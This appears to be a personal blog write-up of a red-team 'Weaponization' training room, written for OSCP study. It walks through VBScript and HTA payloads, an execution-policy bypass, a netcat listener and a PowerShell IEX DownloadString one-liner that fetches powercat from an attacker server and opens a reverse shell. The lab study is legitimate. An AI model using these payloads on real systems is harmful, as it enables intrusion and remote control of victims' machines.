Welcome to Cypherpunk Underground's "Side Quest". I (K1ng_Cr4b) am setting out on a journey to acheive the Offensive Security Certified Professional (OSCP) cert. This cert is the entry level standard for careers in Penetration Testing and Offensive hacking.

I will be writing walkthroughs "boxes" or "rooms" as I complete them. Hopefully in doing these writeups I can commit what I learn to memory and sharpen my report writing skills.

Red Team Path: Weaponization

The room description is:

"Understand and explore common red teaming weaponization techniques. You will learn to build custom payloads using common methods seen in the industry to get initial access."

Windows Scripting Host - WSH

Windows scripting host is a built-in Windows administration tool that runs batch files to automate and manage tasks within the operating system.

It is a Windows native engine, cscript.exe (for command-line scripts) and wscript.exe (for UI scripts), which are responsible for executing various Microsoft Visual Basic Scripts (VBScript), including vbs and vbe. For more information about VBScript, please visit here. It is important to note that the VBScript engine on a Windows operating system runs and executes applications with the same level of access and permission as a regular user; therefore, it is useful for the red teamers.

Now let's write a simple VBScript code to create a windows message box that shows the Welcome to THM message. Make sure to save the following code into a file, for example, hello.vbs.

In the first line, we declared the message variable using Dim. Then we store a string value of Welcome to THM in the message variable. In the next line, we use the MsgBox function to show the content of the variable. For more information about the MsgBox function, please visit here. Then, we use wscript to run and execute the content of hello.vbs. As a result, A Windows message will pop up with the Welcome to THM message.

Now let's use the VBScript to run executable files. The following vbs code is to invoke the Windows calculator, proof that we can execute .exe files using the Windows native engine (WSH).

Set shell = WScript.CreateObject("Wscript.Shell") shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

We create an object of the WScript library using CreateObject to call the execution payload. Then, we utilize the Run method to execute the payload. For this task, we will run the Windows calculator** calc.exe**.

To execute the exe file, we can run it using the wscript as follows,

We can also run it via cscript as follows

As a result, the Windows calculator will appear on the Desktop.

Another trick. If the VBS files are blacklisted, then we can rename the file to .txt file and run it using wscript as follows,

The result will be as exact as executing the vbs files, which run the calc.exe binary.

Weaponizing An HTML Application (HTA)

HTA stands for “HTML Application.” It allows you to create a downloadable file that takes all the information regarding how it is displayed and rendered. HTML Applications, also known as HTAs, which are dynamic HTML pages containing JScript and VBScript. The LOLBINS (Living-of-the-land Binaries) tool mshta is used to execute HTA files. It can be executed by itself or automatically from Internet Explorer.

In this example, we will use an ActiveXObject in our payload as proof of concept to execute cmd.exe. Consider the following HTML code pictured below:

With the code above saved as payload.hta on my attacking machine I can setup a http server to create a malicoius link for my victim to click. By clicking the link we should get cmd.exe to run on the victim machine.

When the victim navigates to the link it asks them if they want to run the file. Running the file will launch cmd.exe on the victim machine.

Below you see the cmd.exe execute.

Thats Cool! But what else can we do with it? Lets use this method to create a reverse shell.

First lets make the payload with msfvenom

This time instead of hosting payload.hta, I will host the reverse shell payload "thm.hta"

I will also set up a netcat listener to catch the shell using the command nc -nlvp 443

We now have a reverse shell on the victim machine!

Note: There is also a way to create a reverse shell directly from the Metasploit framwork using exploit/windows/misc/hta_server

Powershell (PSH)

PowerShell is an object-oriented programming language executed from the Dynamic Language Runtime (DLR) in .NET with some exceptions for legacy uses.

Red teamers rely on PowerShell in performing various activities, including initial access, system enumerations, and many others. Let's start by creating a straightforward PowerShell script that prints "Welcome to the Weaponization Room!" as follows,

Write-Output "Welcome to the Weaponization Room!"

Save the file as thm.ps1. With the Write-Output, we print the message "Welcome to the Weaponization Room!" to the command prompt. Now let's run it and see the result.

We are not allowed to run this script. PowerShell's execution policy is a security option to protect the system from running malicious scripts. By default, Microsoft disables executing PowerShell scripts .ps1 for security purposes. The PowerShell execution policy is set to Restricted, which means it permits individual commands but not run any scripts.

We change the PowerShell execution policy by running:

Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

Ok, so now we have changed the execution policy.

We can also bypass the restricted execution policy by using the bypass command.

Now, let's try to get a reverse shell using one of the tools written in PowerShell, which is powercat. we download it from GitHub using git-clone and then run a webserver to host the payload.

On the victim machine we run the following script:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.191.200:4000/powercat.ps1');powercat -c 10.10.191.200 -p 5555 -e cmd"

We now have a netcat shell on port 5555

The room ends with a practical test in which you must get a reverse shell using the techniques taught in the room. I learned a lot in this room. Thanks for reading.

---

zs1pg2luvkqdy5hvlagy9apspw3qhsex0xq9dq3u0mufurk4tyu30can6qj82770kym337gct08qgx